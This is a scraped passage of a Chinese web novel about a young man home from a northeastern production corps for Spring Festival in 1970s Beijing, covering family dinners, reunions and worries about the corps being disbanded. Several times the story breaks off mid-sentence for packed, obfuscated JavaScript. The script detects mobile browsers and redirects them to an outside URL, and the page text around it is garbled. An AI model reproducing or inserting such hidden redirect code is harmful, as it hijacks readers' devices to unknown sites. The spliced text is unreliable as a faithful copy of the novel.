“粘豆包！”白建军从大袋子拿出分好的小袋子递给夏小妹。“我姐说小妹你喜欢吃这个！” “谢谢建军哥！” 夏小妹直接伸手就接过了白建军递过来的袋子。 “不过我还是劝你一句，这玩意一次吃多了，烧心！” 白建军看着夏小妹说道。 “我一次最多吃两个就饱啦！” 夏小妹笑呵呵的伸出二根手指头。 “你们也别站着了，帮我分东西啊。”白建军看着其他几人说道。“粘豆包这个还好办，这木耳榛蘑啥的，人家可没帮我分开。” 听到白建军这么说，夏建红、田源他们也都开始帮着白建军分东西。 这边几个人正忙活着呢，李香秀也从外面回来了，看到正屋热热闹闹的景象，李香秀甭提多开心了！ “太奶奶，您来了，我还说一会儿去接您呢！” 白建军看到李香秀连忙说道。 “你忘了，今个是小年儿！” 李香秀看着白建军笑着说道，说完又给夏小妹递过去一个油纸包。 “太奶奶，这是什么啊！” 夏小妹接过油纸包好奇的看着李香秀问道。 “你打开看看就好啦！” 李香秀笑着看着夏小妹说道。 夏小妹也没客气，直接解开了系着的皮纸绳。 “关东糖！” 刚打开油纸包，夏小妹就惊呼了出来。 “没人跟你抢！”白建军看着夏小妹笑着说道。“还是当初那个小丫头！” “知道你今天回来！”李香秀看着白建军笑着说道。“菜都放到厨房那边就等你回来做呢。” 李香秀看着白建军说完，又对着田源和夏建国他们俩说道。 “晚上你们也别做饭了，等建军做好饭，去叫你们。等你爸他们回来的时候，告诉他们一声，今天来这边吃！” “对，就当给我接风啦！” 白建军也附和的说道。 夏建国和田源都点了点头，最高兴的还要数夏小妹。 “又能尝到白大哥的手艺啦！” 夏建红看着活蹦乱跳的妹妹，无奈的笑着说道。 “你啊，天天就长了个吃心眼！” 第95章 母女话小辈的感情 白建华今天和高兰一起下班，走到家门口的时候，就闻到了白家院子里飘来的香味。 “建华，这……，这不会是建军回来了吧？” 高兰同样闻到了饭菜的想问，看着白建军惊喜的问道。 “高阿姨，我都跟您说了，建军今天回来肯定得下厨，您还不信！”白建军满面带笑的看着高兰说道。“我估计小妹她们都在我家呢，您送完车子也赶紧过来吧！” “这一晃都快两年了！他们这些孩子里，就建军回来的最晚！” 高兰也有些唏嘘的说道。 白建华现在是满心都想快点见到白建军，但还是叮嘱高兰说道。 “高阿姨，我先进去了，您也快点过来啊！” “好！好！好！” 高兰脸上也都是开心的笑容，说完话，看着推车子的白建华进了家门之后，自己也推着车子往隔壁四合院走。 “建红，你哥和小妹她们呢？” 高兰回到家就看到只有夏建红在家。 “妈，他们都在白家呢，我爸和田叔叔、任伯伯也都过去了，就等您了！” 夏建红看着高兰说道。 “建华早就跟我说了。”高兰笑着摸了摸夏建红的头发。“你先过去吧，我把门插上就过去！” “妈，我跟你一起去！” 夏建红也笑着和高兰说道。 “我还没问你呢，你怎么自己在家里。你建军哥回来了，你怎么不和他多说说话！”高兰好奇的看着夏建红问道。“你都多长时间没见过建军了，你就不想着他？” “妈，我知道你有意撮合我哥和建华姐，还想着让我和建军哥也往一块凑。”夏建红收起了笑容，看着高兰认真的说道。“但是妈，我哥喜欢不喜欢建华姐我不知道，但是我感觉建华姐绝对对我哥没感觉。而我一直都把建军哥当我亲哥哥，我也知道她把我还有燕子、小妹都当亲妹妹照顾！” “妈，燕子喜欢我哥，这你能看出来吧！而且我哥对燕子也挺喜欢的。”看着不说话的高兰，夏建红继续说道。“您就别掺和我们小辈之间的事了，哪怕我们就是不走到一起，可是我们的感情跟亲兄妹也没有什么两样。您说是不是这个理？” “这就是你在家里等着妈的原因？” 高兰也收起了笑容看着夏建红问道。 “是的！”夏建红肯定的点了点头。“这段时间您让我哥还有建华姐，还有燕子他们都挺尴尬的！” “那你告诉妈，你建华姐喜欢谁？”高兰看着夏建红认真的问道。“我们单位不少人都想给你建华姐介绍对象，她对别人说，她有对象，不过是去了外地。” “妈，要么建华姐的话就是借口，要么就是她确实有喜欢的人。”夏建红看着高兰认真的说道。“我猜可能是田源哥，不过田源哥跟个木头桩子似的，估计他自己都不知道建华姐可能喜欢他！” “那你呢？” 高兰没纠结白建华的事，反而问起了夏建红自己。 “我？”夏建红难得的脸红了。“我现在还真没有什么喜欢的人！可能我身边的人都太优秀了！” “都比不过你建军哥吧！”高兰笑着看着夏建红说道。“所以妈才想着撮合你们俩的啊！” “妈，我是在和你认真的谈话！” 夏建红正经的看着高兰说道。 “好了，夏主任，妈知道了！”高兰笑着摆了摆手。“你们自己的事，妈不掺和了。我倒是要看看，你最后能找个什么人，看他能比建军强到哪？” “妈……！连你也取笑我！” 夏建红一听连高兰也叫自己夏主任，当时就有些小生气。 “走吧，妈不逗你了！”高兰笑着抱着夏建红的肩膀。“他们一会儿该等急了！” 母女俩说完话，高兰就把四合院的门关上了，这院里最值钱的，恐怕也就是各家的自行车了。不过她们所在这一片多少年也没出丢东西的事情了，所以高兰也没有太多担心。其实以前也不是没有飞贼，不过当初都被半夜练武的白建军教训了，这帮人知道这边有高手，也都绕着这边走了。 高兰和夏建红母女俩到了白家这边的时候，田志远直接就招呼上了。 “高医生，就等你和建红了！” “要是曹慧也在，那才叫全了！” 高兰看着田志远刺了他一句。 “今天是高兴的日子，你提她干什么！”田志远一听到前妻的名字，脸上就有些不自然。“今天是给建军接风，她没赶上，算她没有口福！” “你说你们也是，今天给建军接风，你们还让孩子整了这么一桌子菜！” 高兰笑着指着田志远、夏默还有任大力这几个大人说道。 “谁让建军手艺好呢！” 夏默也脸上带笑的说道。 “人都齐了，让我们共同举杯，庆祝建军今日休假归来！”田志远笑着举起了手里的酒盅。“同样也感谢建军亲自下厨做了这一桌子的菜，欢迎回家！” “欢迎回家！”×N 所有人都站起来共同举起酒盅，一饮而尽。 这顿饭，从下午6点一直吃到晚上8点多，才算结束。这桌上除了吃饭喝酒，大家问的最多的还是白建军在兵团的经历。这期间夏建国和夏建红也补充了一些内古兵团撤销之后，那边的情况。白建军注意到，在提到内古兵团撤销的时候，田志远特意看了自己一眼，似乎想说什么，但是最后又忍着没说。 等送走了所有人，白建军返回到白家的时候，白建华和李香秀正在收拾桌子。 “姐，太奶奶！”白建军看着两人。“我感觉吃饭的时候，田伯伯似乎有话要说，但后来又忍住了。” 李香秀放下手中的活，看着白建军说道。 “是提起内古兵团撤销的那时候吧！” “嗯！”白建军点了点头，一边帮着收拾一边说道。“我感觉，黑江兵团也快要撤销了，只是现在还没正式通知，但是大局估计已经定下来了。” “那你不如趁这个机会回来？” 白建华眼睛一亮看着白建军说道。 “建军，太奶奶建议你再等等！”李香秀皱眉的看着白建军说道。“你不在京城，还感觉不出来。现在的形势，是越发复杂了。” “虽然底下也被搅和的乌烟瘴气的，但是兵团那边相对来说还要好一点。”白建军看着李香秀和白建华认真的说道。“暂时在那边，我还能应付的来。若是我现在回京城，两眼一抹黑，可能还不如我在兵团那边呢！” “这事你自己拿主意！”李香秀看着白建军说完，又看着白建华说道。“建华，你也别觉得难受。建军在外面虽然苦点，但是比在京里要自在一些。” “嗯，我知道！” 第96章 探亲 腊月二十四，天还没完全亮起来，白建军就听见厨房那边有动静。 白建军揉了揉眼睛，才想起来，现在已经回到了京城的家中，往天这时候还在连部宿舍睡大觉呢。白建军穿上外衣就往厨房这边来，正看到白建华在这边煮粥。 “姐，你怎么起来的这么早？” “哪早了，都7点了！”白建华也没看白建军。“太奶奶都出去小酒馆那边买早点去了！” “嘿嘿，我们在兵团这时候就两顿饭，一般这时候我们还睡大觉呢！”白建军笑着看着白建华说道。“真没想到，我这离开一年多，你都会做饭了！” “这话让你说的，我要是不学着做饭，我天天不得饿死啊！”白建华笑着说道。“太奶奶那么岁数了，难道还要让她老人家来照顾我？” “你说的对。那我今天就尝尝我姐的手艺？” 白建军继续在厨房门口和白建华逗壳子。 “我肯定是不如你做的好！”白建华回头冲着白建军吐了一下舌头。“你就对付吃吧，而且必须吃干净，不许浪费粮食！” 姐弟俩说说笑笑的时候，李香秀也从外面回来了。 “我还以为你能多睡一会儿呢！” 李香秀看着白建军说道。 白建军一边接过李香秀买回来的油条，一边看着李香秀说道。 “我这觉比较轻，有点动静我就能醒！” “那你……是失眠？” 白建华紧张的看着白建军问道。 “姐，不是。”白建军看着白建华说道。“还记得咱们每年都要去看的孙太奶奶吧！” “记得啊！”白建华点头应道。“这么多年我都没搞明白，这是咱家什么亲戚！” “建军，你说，怎么还和四姑娘扯上关系了！” 李香秀也没和白建华解释，反而让白建军赶紧说原因。 “孙太奶奶家里有很多书，我在里面看到过一本《基础心法》，听孙太奶奶说，那是我三太爷爷留下的。”白建军看着李香秀和白建华说道。“那个我以前练了但是没什么效果，去年冬天我喝了30斤狍子血酒，终于算是有了些感觉。” 白建华听得是一个头有两个大，可李香秀也差不多明白了怎么回事。 “我听你太爷爷说过，你三太爷爷打小就跟着孙大师练武，而且没几年就学有所成，更是在擂台上杀过倭寇武士。你这都练了有6、7年了，看来还是没有你三太爷爷那样的习武天赋。” 李香秀说完看着白建军又笑了笑。 “不过你要是练这个，强身健体，延年益寿的效果倒是挺好的。” “姐，你别看我，这个我给你讲了，你也不明白！我自己都是误打误撞学会的，我也不知道怎么教你。不过今年咱们去看孙太奶奶的时候，你可以看看那本书。” 白建军看着白建华望着自己的目光赶紧说道。 “能不能学会，全看你自己。而且说实话，这个心法对于外力的要求挺高的！就是说得天天吃一些大补的东西才能快速壮大体内的‘气’，否则就是水磨功夫！” “那你甭管，你天赋差，不代表我天赋差！”白建华撇了撇嘴说道。“你忘了，中医这块，我就比你强！” “是！是！是！”白建军笑着说道。“我姐最厉害了！” “还拿小时候的话哄我啊！”白建华不满的说道。< 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“大妈，你这是不认识我啦！”白建军客气的跟三大妈打着招呼。“我是白建军，前两年总来跟柱子哥学艺的！” “呦呵！还真是你啊！”三大妈也意外的说道。“你这是下乡才回来？” “我这不是去黑江兵团了么，今年才得了探亲假，我就过来看看柱子哥和秋叶姐！” 白建军笑着的说道。 “柱子上班去了，不过秋叶在家呢！” 三大妈热情的伸手指着里面说道。 “那大妈您忙着，我进去啦！” 白建军打完招呼也往中院走。 第97章 “舅舅” 二食堂这边因为离着机关楼近，所以也就是供早、中两顿饭，轧钢厂晚班的工人一般都在其他的食堂吃晚饭。 何雨柱一般下午3点多忙活完也就下班了，他一个食堂大师傅，还真不用像其他人一样天天等到5点多才下班，除非轧钢厂这边的小食堂晚上要开火，何雨柱才会留下来。 何雨柱骑着车晃晃悠悠的回到95号院的时候，就看到自家的何森、何琳还有后院的许晓琴身边有一堆孩子围着他们三个转，何雨柱赶紧叫唤道。 “何森，何琳！” “爸！” 何琳一看到何雨柱，直接就冲着何雨柱跑了过去。何雨柱赶忙停下车子一把就把何琳抱了起来。 “闺女，你们怎么在这玩儿呢？”何雨柱脸上都笑出褶子了。“你妈就让你们出来玩儿了？” “爸，舅舅来了，我们睡完午觉，妈就让我们出来玩儿啦！” 何森和许晓琴也跑到了何雨柱身边，何森赶紧和何雨柱说道。 “舅舅？”何雨柱奇怪的说道。“你哪来的舅舅啊！” “妈让我们叫舅舅！”何琳在何雨柱怀里糯糯的说道。“他还带来了好多东西，有水果糖，还有麦乳精，可甜了！” “你个小馋猫！”何雨柱刮了一下何琳的小鼻子。“还麦乳精呢，那东西可不便宜，谁能给咱家送这个啊，也不是求人办事！” “爸，真的，真的！”何森跟在何雨柱身边焦急的想要证明自己和妹妹没说谎。“舅舅还要给晓琴两罐呢！” 这时候，何雨柱已经到了院门口，有卖呆儿的大妈看见何雨柱回来，都笑着说道。 “柱子，回来了！” “你家来客人啦！” “什么客人呢，是你几年前你的那个徒弟从外地回来了！” 几个大娘七嘴八舌的这么一说，何雨柱一下子就反应了过来。 “闺女，你这个舅舅不会是叫白建军吧！” “我妈叫他建军，我也不知道是不是叫白建军！” 何琳抿着小嘴摇头说道。 “哈哈！”何雨柱开心的大笑着。“你们叫舅舅也没错，哈哈！” “爸，怎么 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许晓琴虽然还不到三岁，但是特别懂事，被白建军抱着的许晓琴安稳的坐在白建军的腿上，白建军每次夹菜，不用白建军提醒，许晓琴就知道主动张开嘴。秦京茹吃饭的时候不说一直看着许晓琴，也是十分注意着这边。 何雨柱没有感觉出来什么，以为秦京茹是关心许晓琴，怕白建军抱不住孩子再摔到了孩子。可是冉秋叶总觉得秦京茹的眼神不仅仅是看许晓琴。 而且看着白建军抱着许晓琴，旁边还坐着秦京茹，冉秋叶有一种既感觉这个画面很和谐，又感觉有些别扭。 许晓琴也是第一次坐在除了妈妈以外的大人怀里被喂饭，以前她都是看何琳坐在何雨柱怀里，年幼的许晓琴甭提多羡慕了，现在自己也终于体会到了。 孩子们还小，没吃多少，就都吃饱了，冉秋叶和秦京茹就带着几个孩子先去了后院，把屋子留给了白建军和何雨柱，让他们俩慢慢喝。 等屋里就剩下白建军和何雨柱两个人，顺着话茬，白建军又问起了秦京茹的事。 “柱子哥，这秦京茹和许大茂是怎么回事啊，我听秋叶姐说，秦京茹生下晓玲儿之后，两个人就离婚了？” 何雨柱端起酒盅喝了一口就打开了话匣子。 “许大茂那孙子，真不是个东西！” “你具体说说，下午的时候，秋叶姐也没跟我细说！” 白建军陪着喝了口酒，怂恿着何雨柱。 “要说这事吧，秦京茹也有问题！自打她生下晓琴，出了月子之后就一直不让许大茂碰她。”何雨柱撇了撇嘴说道。“后来听说是许大茂喝多了，秦京茹实在拧不过他，这才有了晓玲儿！” “不是说许大茂在外面搞破鞋么？” 白建军神秘的问道。 “许大茂好色这事你不知道么？秦京茹一直不让他碰，他能干忍着？”何雨柱不屑的看着白建军说道。“这孙贼在秦京茹怀晓琴的时候，就在外面拉三扯四的，后来秦京茹怀晓玲儿的时候，都和他那棒儿家被人堵在屋里，为了这事，他那电影放映员的工作都让厂子撸了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“昨天晚上看你喝多了，我就没和你说！”白建华也停住了脚步，看着白建军说道。“你昨天去南锣鼓巷那边之后，下午你同学就来了，他们听说你回来了，就想着找你聚聚。你也没在，太奶奶就直接做主了，让他们今儿个来咱们家，热闹热闹。” “家里也没准备什么东西，我赶紧出去买去！” 白建军一听白建华的话，直接就要往外走。 “太奶奶今天早上起来遛弯儿的时候，都买回来了。”白建华伸手拦住白建军。“你还是赶紧洗漱一下，估计人都快到了！” 白建军一听白建华这么说，也收住脚步去厨房那边找热水洗漱去了，白建军这边正洗漱呢，图强、赵小年也拎着东西过来了。 “强子、老蔫！” 看见两个人进来，白建军赶紧拿手巾擦干净嘴上的牙膏沫子，高兴的叫道。 “白大夫！”×2 图强和赵小年也高兴的叫道。 白建军和两人分别拥抱了一下，看着两人笑着说道。 “你说你们来就来，拎着东西是准备给我提前拜年啦！” “白二爷，我给您见礼啦！” 拎着东西的图强双手抱拳，边说边要单膝跪地，白建军一把就扶住了图强。 “图爷，您这一下子拜下去，我可没有银子赏您！” “哈哈哈哈！” 图强顺势站了起来，几个人都大笑了起来。 “呦呵，这么热闹啊！”王美丽、徐静理、苏萌三人联袂而来，王美丽看着笑闹的白建军和图强同样笑着问道。“有什么好事啊，也给我们几个说说。” “你们也来啦！”白建军看着三女也热情的招呼着。“快屋里请！” 几人说说笑笑的就进了白家的正屋，几人先和李香秀和白建华打了招呼，李香秀和白建华就先去白建军那屋，把正屋让出来给他们这些同学。 没一会儿，夏建红、任燕她们几个也都搬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你去坐着吧，灶台那边有我盯着呢。”蔡晓丽看着白建军说道。“我记了时间！” 蔡晓丽如几年前同样的话语，让白建军感觉有些怪怪的，不过白建军也没有表现出来，而是直接坐到了主位上。 “同学们，好久不见！” 白建军站了起来看着这些多年的同学、朋友举起手里的酒盅。 “欢迎回家！”N 大家都站了起来，把酒盅伸向中间，然后又都一饮而尽。 “还得是我们徐排长，这么多年了，这酒还是这个味儿！”待大家坐下之后，图强伸出大拇指，看着徐静理恭维道。“倍儿地道！” “喜欢喝大家就多喝点，今天的酒管够！” 徐静理豪爽的看着大家说道。 大家都笑了起来，也都打开了话匣子。 “苏萌，年后我和大林差不多就能回城了，你一直在京城，看在咱们这么多年的感情上，你得拉兄弟们一把啊！” 图强端起酒杯对着苏萌点头哈腰的说道。 “你可赶紧滚蛋吧，谁和你有感情啊！”苏萌笑骂了图强一句。“再说我就是个小小的办事员，我能帮你什么？不过你要是投机倒把啦，那倒是归我管，我一定把你送进去！” “哎呦，你这话，深深的伤害了我脆弱的心灵！” 图强一副胸口中箭的表情，逗得大家哈哈大笑。 众人说说笑笑，话题不知不觉就转到了白建军和王美丽头上，毕竟现在只有白建军和王美丽算是在兵团。 “虽说大家都在外地，但是大部分农闲的时候都能回来。”雷金山看着白建军和王美丽说道。“现在就你们俩还在兵团了。” “我估摸着，你们那边也得撤，只不过不知道什么时候撤！” 赵春 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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白建军他们这边的聚会结束没多久，白建华和夏建国、田源他们回来了，田源喝多了是白建华和夏建国把他搀回来的。 “田源今天喝多了，我才知道，彩云省的知青有这么多的不容易！”白建华到家之后，看着白建军唏嘘的说道。“从兵团战士到农场职工，他们比内古的知青可苦太多了！” “当初你也不是没劝过田源哥，可是结果怎么样？” 白建军摇了摇头看着白建华说道。 白建华听白建军这么说，再想到几年前，只能长叹了一声。白建军看白建华兴致缺缺，也就没再说什么。 第二天，白建军终于有功夫了，开始把连里知青托自己带回来的东西，给各家送去，忙活了两天才算是完成了大家的嘱托。之后白建军又提前去了一些亲朋好友家给人家提前拜了早年。年后各家都有事，而且白建军初六就要踏上返回兵团的行程，所以这些亲朋好友家也只能提前拜访。 又忙活了两天，已经是腊月二十九了，白建军也开始准备自己家这边过年的东西。一大早去早市走了一圈，等回到家门口，白建军和李香秀就看到朱厚领着媳妇、孩子们等在白家门口。 “大姑！”“大姑” “姑奶奶！”3 “甭在门口站着了，先进来吧！” 李香秀看了看朱厚他媳妇，对着朱厚点了点头说道。 “大姑，我就是带着二丫和孩子们过来看看您！一会儿还要坐车回去！”朱厚憨厚的说道。“我们就不进去了！” “来都来了，进去说几句话！”李香秀转身看了朱厚一眼，又转身往里院儿走。“不差这五分八分的！” 朱厚他媳妇偷着拉了朱厚一下，朱厚这才不情不愿的跟着李香秀和白建军进了白家。等人都坐下来之后，白建军就看出来朱厚他媳妇一直有话想说，可朱厚却每次他媳妇要说话都被他瞪了回去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14719747|157181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朱厚他媳妇找了个借口把孩子们支出去玩一会儿了，又看了看白建军，这才看向李香秀。 “二丫，你有什么话，就直接说吧！”李香秀看着朱厚媳妇直接说道，又看着瞪着眼睛的朱厚摇了摇头。“朱厚，让你媳妇说！” 黄二丫看了看白建军，最后还是咬了咬牙开口。 “大姑，自打去年小海出事之后，村里一年都没有谁家娶新媳妇了！”黄二丫委屈的看着李香秀。“村里各家都跟朱厚说过好几次了，想让他再把那买卖弄起来！我知道朱厚都听您老的，您就松松口吧！” “朱厚你当‘掌柜的’，这次换谁当‘伙计’？”白建军看着朱厚直接问道。“你能保证其他人不像黄小海似的给你来个掏地沟？” 看到白建军出声，黄二丫都有些惊了。 “二少爷，村里人这回不打算安排人了，他们让我自己找信得过的人！”朱厚看着白建军恭谨的说道。“外人我现在真信不着，只能让兴福跟着我干，可我又担心出事。我可不想让兴福也进去蹲四年。” “你要是安安稳稳的还做粮食，应该不会有太大的问题。”白建军看着朱厚认真的说道。“你小舅子过界了，所以他才会出事的，懂么？” “建军，我弟弟是得罪人了？” 第102章 身边亲朋的关心（4k） 白建军回来了，今年三十，隔壁院的几家也是在白家这边一起吃的年夜饭。 不过今年在吃年夜饭的时候，任燕他爸还是和平常一样，但是夏默和田志远两人明显看着憔悴了很多。等吃完饭之后，田志远在离开之前特意和白建军去了白建军自己那屋。 “建军！”田志远慎重的看着白建军。“虽说今天是大过年的，我不该提这个事，但是我怕过年之后，我这边也忙了，就把这个事给忘了！” “田伯伯，有事您就吩咐！” 白建军恭敬的看着田志远说道。 “你们兵团估计年后也要撤销了，文件已经在走流程了！”田志远看了看四周认真的说道。“但是这不是重点！” “黑江兵团撤销的时候，估计会和内古兵团撤销的时候一样，会乱一段时间。”田志远皱着眉说道。“这段时间也是你们这些兵团知青回来的最好的时机！” “但是我建议你先留在那边！”田志远满脸严肃。“原因我不能告诉你，但是你先留在那边，比回来要好！” “这也是您没让田源哥回来的原因？” 白建军看着田志远问道。 “彩云省那边条件是很艰苦，但是再艰苦，他还活着！”田志远严肃的看着白建军说道。“你能明白我的话吧！” “田伯伯，我明白了！” 白建军肯定的点了点头。 “你不用担心你姐！”田志远也知道白建军很在乎白建华。“她在医院工作，只要不多说话，就不会有问题！” “这点我倒是不担心，我姐从不在家里说她们医院的事！” 白建军终于笑着说道。 “你姐是深得高医生真传！” 田志远也难得的露出了笑模样。 白建军送走田志远后，也没和李香秀和白建华说田志远提到的那些话，白建军知道白建华一直想让白建军回京城，但是正如田志远说的，已经自己想的那样，现在并不一定是个好时候。 大年初一，白建军和白建华一起给李香秀磕头拜年之后，两个人就出门给当年教两个人医术的一些老师傅拜年，当然也没落下孙太奶奶那边。 “姐，明天雨水姐会95号院，柱子哥也让我过去！” 往回走的路上，白建军跟白建华说了自己明天的安排。 “那你就去吧！别忘了带上礼物！”白建华点了点头。“你不在这段时间，柱子哥两口子没少往太奶奶那边跑！” “太奶奶年龄也大了，你说让她来咱家住，她能同意么？” 白建军看着白建华提议道。 “这个事我都和太奶奶说了好几次了，可是每次都被太奶奶拒绝了！”白建华摇了摇头看着白建军说道。“估计太奶奶还是等她那个养子能回心转意吧！” “哎，姐，过几天我就走了，你平时也多往太奶奶那边去吧。”白建军无奈的看着白建华说道。“过两天我再找下强子和大林，他俩年后差不多也就回城了，到时候也让他们伸手帮衬一把！” “你不能回来么？” 白建华再次问起了白建军这个问题。 “三十儿晚上，田伯伯和我聊过，建议我先不要回来！从田伯伯的话里，我听出了‘你死我活’！”白建军骑车驮着白建华说道。“姐，你在京城，也要照顾好自己。” “哎！” 白建军只听到身后传来一声长叹。 …… 大年初二，是回门儿的日子。 一大早何雨水和刘国栋带着儿子就回到了95号院，几个孩子都在胡同放小鞭儿呢，白建军也提着东西过来了。 “舅舅！”“舅舅！” 何森和何琳刚见过白建军没几天，还记得这个舅舅，一看到白建军过来就热情的招呼了起来，许晓琴也叫了一声舅舅。只有何雨水的儿子刘峰疑惑的看着白建军。 “你们在外面玩吧，我先进去了！” 白建军笑着看着几个孩子说完就走进了95号院的何家。 “雨水姐、姐夫！给您二位拜年了！”白建军给两人拜了年之后，又给何玉柱两口子拜了年。“柱子哥，秋叶姐，给您二位拜年了！” “快坐，快坐！”何雨水赶紧拉住白建军坐下，惊喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14719748|157181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的问道。“建军！你什么时候回来的，也不说过去看看我！你这是休假还是回来了？” “我这是休假，小年才回来！”白建军笑着看着何雨水解释道。“这回来给战友家里送东西，也一直没倒出功夫来！” “要我说，以你的条件，直接从外地回来得了！”何雨水看着白建军直接说道。“现在有多少都回城里来了，今年我们纺织厂就接收了好几十人，都是出去的知青！” “兵团有兵团的规矩，你们那些知青，不都是内古那边的么！” 刘国栋看着何雨水说道。 “今天过年，不说这个事了！”冉秋叶笑着看着何雨水说道。“孩子们也在外面玩了一会儿了，也得回来了！” “我去叫，我去叫去！” 刘国栋笑呵呵的站了起来说道。 “秋叶姐，我在门口看到晓琴也在，后院没回娘家？” 白建军看着冉秋叶 问道。 “晓玲还小，京茹也就没打算回去折腾！这大过年的，就她们娘仨在家，哎！”冉秋叶看着白建军说道。“我昨天叫她们过来吃一口，京茹都不干！” 这时候刘国栋也带着三个孩子进了屋子。 “建军，要不你去叫一下吧！”何玉柱看着白建军说道。“我看晓琴那丫头挺喜欢你，说不定，秦京茹能看在你和晓琴的面子过来呢！” “那我去试试吧！” 白建军见何雨水也没反对，就起身往外走，没几步路就到了秦京茹家门口。这时候秦京茹刚推开门，正好看到要敲门的白建军。 “柱子哥让我过来叫你们过去吃一口！” 白建军大大方方的说道。 “谢谢柱子哥和秋叶姐了，我们平时都没少麻烦他们一家！”秦京茹平静的说道。“今天雨水也回来了，我们就不过去凑这个热闹了！你也少喝点！” 秦京茹拒绝，白建军也只能无奈的回到了何家。 何家这边的几个孩子给白建军正式的拜年，白建军也把早就准备好的红包给了三个孩子。之后大家都开开心心的聊着一些几个孩子的趣事。 第103章 谁过年还没被催过婚 一晃眼就到了正月初五，白建军在家里吃过了破五的饺子，就往京城火车站而去，明天就要坐火车返回黑江兵团，所以今天就得把车票买了。 白建军没等一会儿，五师的知青就陆续过来了，白建军和他们打过招呼，就让他们先去排队了，而自己这边则等着石兴华和王美丽。王美丽先到的，等六连的几个京城的知青也到了之后，石兴华也打着哈欠过来了。 “小石，你这是怎么了？” 白建军看着萎靡不振的石兴华关心的问道。 “白大哥，我怎么感觉这回来一趟比在连里干活都累！”石兴华伸了个懒腰。“这自从回来以后，我就没闲着！七大姑八大姨都跑了个遍！” “谁不是呢！” “我初二还去了一趟乡下呢！” 石兴华说完之后，其他几个人也都开始诉苦。 “别诉苦了，咱们先去排队！”王美丽打断了大家的话。“等明儿个上了火车，有的是时间！” 大家想想也是，就都去售票窗口那边去排队去了，白建军则和王美丽走在了最后。没多大功夫就轮到白建军他们这波人，大家也顺利的买到车票。 约定好明天中午12点在车站候车厅门口集合，大家也都各回各家了。 白建军到家的时候，家里这边只有李香秀在。 “建军，明天你就要回东北那边了，东西什么的都收拾好了？” 李香秀看着白建军关心的问道。 “太奶奶，我都准备的差不多了！”白建军点了点头。“明天下午两点的火车！” “建军，太奶奶明天就不去送你了！”李香秀看着白建军满眼慈爱的说道。“所以今天，太奶奶我今天也把要说的话先告诉你！” “太奶奶，您说，我听着呢！” 白建军扶着李香秀坐下，恭敬的说道。 “建军，万事要以自身的安全为第一。”李香秀拍着白建军的手认真的说道。“我不相信这样的状态还会再持续十年，所以你遇事一定不要弄险。哪怕南边和我们早就断了联系，但是一笔写不出两个白字，他们不会看着你挨饿受冻，而自己却大鱼大肉。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14719749|157181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “太奶奶，您说的道理我明白，我只是不想以后让他们觉得我们是要饭的！” 白建军说这话是其内心的想法，不然白建军也不会折腾出藏在菜窖隔层里的那些东西。白建军若是有机会和南边白家人联系上，那边可能是会帮着白建军，但是能帮到什么程度，就要看白建军自己的价值。 若是白建军像自己那些姑姑和叔叔那样，那南边的白家估计连正眼都不会看白建军。而若是白建军自己本身就有一定的能力，南边的白家大概率是会帮衬一二的。 “我知道你心气高，怕南边的人小看了咱们！”李香秀看着白建军和善的说道。“不过家里留下来的那些东西，他们也不会看低了咱们。” “现在说他们太远了，等真到那一天的时候，到时候再看吧，日久才能见人心！” 白建军摇了摇头，结束了这个话题。 “不说那么远的，咱们说近的！”李香秀看着白建军认真的问道。“年前其实我就想问，来着，只是一直没找到机会！” “太奶奶，您不会也和我说对象的事吧！” 第104章 黑江兵团也解散了 